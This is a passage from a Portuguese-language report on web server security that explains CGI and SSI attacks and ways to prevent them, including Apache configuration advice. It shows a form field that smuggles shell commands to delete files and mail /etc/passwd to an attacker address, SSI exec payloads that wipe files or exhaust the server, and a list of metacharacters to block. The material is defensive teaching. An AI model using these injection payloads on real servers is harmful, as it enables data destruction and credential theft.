navegador (browser) através de formulários HTML, enviando o resultado em páginas dinâmicas 
HTML, 2) mostrar banners publicitários, permitir o envio de mensagens, 3) efectuar o 
processamento de contadores de acesso a páginas web , dentre outras aplicações, utilizando­se 
linguagens como Perl, C e C++.

           Páginas interativas utilizando CGI consistem na forma mais conveniente de manipular dados 
no servidor web. Mas infelizmente existem alguns riscos de segurança para servidores web rodando 
em UNIX. 

Embora remover os serviços de CGI possa parecer uma opção, isso definitivamente seria 
uma coisa fora da realidade. Para garantir segurança ao seu servidor web, você primeiramente tem 
que definir uma política para CGI.

3.5.2) Exemplo de ataques sobre CGI Scripts

• Enviar o arquivo de senha (sem shadow) para ele mesmo.

• Obter informações do sistema armazenadas no /etc.

• Com algumas linhas de Perl, ele pode “startar” uma porta alta no seu servidor    e 
dar um telnet.

• Deletar sistemas de arquivos importantes e arquivos de configuração.

• Fazer negação de serviço em portas específicas

• Fazer exploração exaustiva do seu sistema de arquivos.

• etc ...

3.5.3) Exemplo de um  ataque via CGI
Esse exemplo basea­se numa chamada CGI em PERL

Imagine que um usuário chamado Sr. X tenha o seguinte formuário na web : 

<HTML> 
  <BODY> 
   <H1> Formulário de resposta para Sr. X </H1> 
   <FORM  ACTION="http://www.algum.lugar.com.br/cgi­bin/resposta.pl" METHOD="get"> 
      <INPUT TYPE="hidden" NAME="meu_endereco"  VALUE="esperto@algum.lugar.com.br"> 
      <INPUT TYPE="text"      NAME="comentario"> 
      <INPUT TYPE="submit" VALUE="Enviar comentário"> 
   </FORM> 
 </BODY> 
</HTML> 

Este é um formulário simples, no qual o usuário entra com uma mensagem para ser enviada 
para um script chamado resposta.pl. Dentro do script resposta.pl vamos encontrar a seguinte linha 
(suponha que as váriaveis já tenham sido passadas): 

system("/usr/lib/sendmail ­t $meu_endereco < $arq_temp") 

Com a resposta do formulário sendo gravada em um arquivo temporário para ser enviada via 
e­mail para o Sr. X. Agora imagine que o hacker tenha salvo o formulário localmente e setado o 
mesmo com o seguinte valores : 

<HTML> 
  <BODY> 
   <H1> Invadindo algum.lugar.com.br ! </H1> 
   <FORM  ACTION="http://www.algum.lugar.com.br/cgi­bin/resposta.pl" METHOD="get"> 
      <INPUT TYPE="hidden" NAME="meu_endereco" 
             VALUE="; rm *; mail ­s hacker@no.mundo.com.br < /etc/passwd;"> 
      <INPUT TYPE="text"      NAME="comentario"> 
      <INPUT TYPE="submit" VALUE="Enviar para hacker"> 
   </FORM> 
 </BODY> 
</HTML> 

Os pontos­e­virgula no campo hidden são um delimitador para separar comandos UNIX, 
possibilitando a execução semelhante a uma linha de comando shell. A chamada de sistema em Perl 
gera um shell UNIX, e neste caso, executa os comandos do campo value, removendo os arquivos do 
diretório corente e enviando um e­mail com o arquivo de senhas para o hacker. 

3.5.4) Como prevenir ataques via CGI
O primeiro ponto para definir uma política de segurança para os CGIs é considerar o dono 
dos processos que são executados no servidor web. Muitos problemas de CGI estão relacionados 
com user id (UID) e group id (GID) dos processos do servidor web. Os processos do nosso servidor 
web nunca devem rodar como root. Rodar o servidor web com a combinação nobody, nogroup é 
razoável pois dá o mínimo de privilégio os programas CGI. Uma alternativa interessante é rodar os 
processos do servidor web com um UID e GID específico, por exemplo "www". Isso garante que o 
servidor web não vai entrar em conflito com outros serviços que rodam como nobody. Para 
configurar o UID e GID no Apache e no NSCA, veja o arquivo httpd.conf.

Em muitos servidores web os CGIs são escritos por diferentes pessoas com vários níveis de 
experiência. Para programadores UNIX experientes é relativamente fácil encontra furos em CGI 
através do protocolo HTTP. Para facilitar a administração e diminuir os riscos potenciais de 
segurança, você deve definir somente um diretório de CGI executáveis (em muitos servidores UNIX 
ele é chamado de cgi­bin) e permitir acesso de gravação somente para os programadores com 
conciência e com competência.

Muitos servidores web oferencem várias opções para setar a estrutura do seu diretório de 
CGI. Você pode definir que os programas com extenção .cgi ou .pl, podem ficar localizados em 
qualquer lugar abaixo do root do servidor web. Esta é uma configuração ameaçadora, pois torna a 
monitoração e manutenção dos scripts muito difícil. É recomendável com precaução extra que os 
scripts só rodem embaixo do "Server root"

Você não deve permitir que qualquer usuário tenha acesso ao conteúdo do seu diretório de 
CGI atravez da opção Index; desative esta opção no arquivo access.conf.

Não deve confiar na informações passadas via script CGI. Em geral, não permita os 
seguintes meta­caracteres na entrada de usuários: ;  >  <  &  *  ` |  $  # 

3.6) Ataques via SSI
3.6.1) Introdução sobre SSI

SSI ( Server­Side Includes) são comandos extensivos (marcações) à linguagem HTML que 
são processados pelo servidor Web antes da pagina HTML ser enviada. 
No lugar do comando é enviado apenas o resultado do comando no formato normal de texto 
HTML.

Os documentos HTML que contém SSI geralmente terminam com a extenção .shtml.

SSIs são utilizadas, por exemplo, na inclusão de assinaturas ou logotipos de empresas em 
todos os arquivos criados. O “arquivo include” (que contém essa assinatura ou logotipo) fica 
armazenado no servidor, sendo incluído sempre que um arquivo HTML que contenha um comando 
include for solicitado.

Veja uma lista dos comandos SSI com uma breve descrição: 
  
config Define o formato de horário, tamanho ou mensagens de erro.
echo Insere os valores das variáveis SSI em páginas HTML.
Executa um comando de sistema ou um programa CGI, inserido a saida 
exec
gerada pelo programa na página da web.
flastmod Insere na página a data de última modificação do arquivo.
fsize Insere na página o tamanho do arquivo.
include Insere o conteudo de arquivos HTML em páginas da web.
3.6.2) Exemplo de vulnerabilidade

Imagine um livro de visitas (guestbook) onde as pessoas podem colocar seu comentários. 
Suponha que um hacker insira um dos comandos em um dos espaços a preencher.

1) <!­­#exec cmd="/bin/rm ­rf /" ­­> 

Na próxima vez que algum navegador acessar a página, todos os arquivos do diretório 
corrente serão deletados. 

2) <!­­#exec cmd="find / ­name nome_arq ­print" ­­> 

Ele vai procura por um arquivo chamado ‘nome_arq’. Se o hacker colocar isso algumas 
centenas de vezes no seu livro de visitas, seu servidor com certeza vai parar. 

3.6.3) Como prevenir ataques via SSI

• Se seu servidor permite rodar programas CGI e forem seguidas as mesmas restrições 
definidas para os programas CGI quando utilados os SSI, não haverá riscos adicionais; caso 
você não tenha certeza quanto as restrições dos CGIs recomendo desabilitar o comando exec 
do SSI, o qual executa comandos com o UID do servidor web.

• Uma possível solução seria desabilitar o SSI em servidores NCSA e Apache, olhe o arquivo 
access.conf  e tenha certeza de que a diretiva "Includes" não esteja na lista de opções. Aqui 
está um exemplo do diretório root, mas você deve verificar todos os diretórios definidos : 

#/home/www/docs  inicio do root 
<Directory  /home/www/docs> 

# Aqui pode existir "None", "All" ou qualquer combinação de 
# "Indexes", "Includes", "FollowSymLinks", 
# "ExecCGI"ou "MultiViews". 

Options Indexes FollowSymLinks 
</Directory> 

• Cheque também no arquivo srm.conf, as seguintes linhas : 

Addtype text/server­parsed­html .shtml     # todos os arquivos terminados com .shtml pode 
executas comandos SSI 
Addtype text/server­parsed­html .html      # todos os arquivos terminados com .html podem 
executar comandos SSI 

• Se vc quiser utilizar comandos mais simples do SSI no seu servidor, é aconselhável 
desabilitar o comando exec, para isso coloque "IncludesNOEXEC" na lista de configuração 
e só permita a execução de comandos SSI nas páginas com extenção .shtml. Isso vai 
eliminar a maioria dos problemas; mas você ainda está sujeito a brincadeiras. Por exemplo, 
considere uma centena destas linhas no seu livro de visitas : 

<!­­#echo var="LAST MODIFIED" ­­>

4) Conclusão

Através de nossas avaliações verificamos que servidor mais seguro é o Apache e isto é 
evidenciado pela preferência deste em relação a outros servidores web pelos administradores de 
hosts.
Nosso objetivo acima foi mostrar as principais vulnerabilidades presentes nas aplicações em 
WebServers e algumas tentativas de eliminá­las (que por enquanto são aplicáveis). Essas 
vulnerabilidades foram escolhidas devido a sua freqüência na literatura e citações na internet.
Elas foram abordadas de forma bem ampla, pois há dezenas de vulnerabilidades que as 
exploram e a cada dia surgem novas vulnerabilidades baseadas nelas, veja como exemplo a 
freqüência com que vulnerabilidades explorando buffer overflow são encontradas.

S-ar putea să vă placă și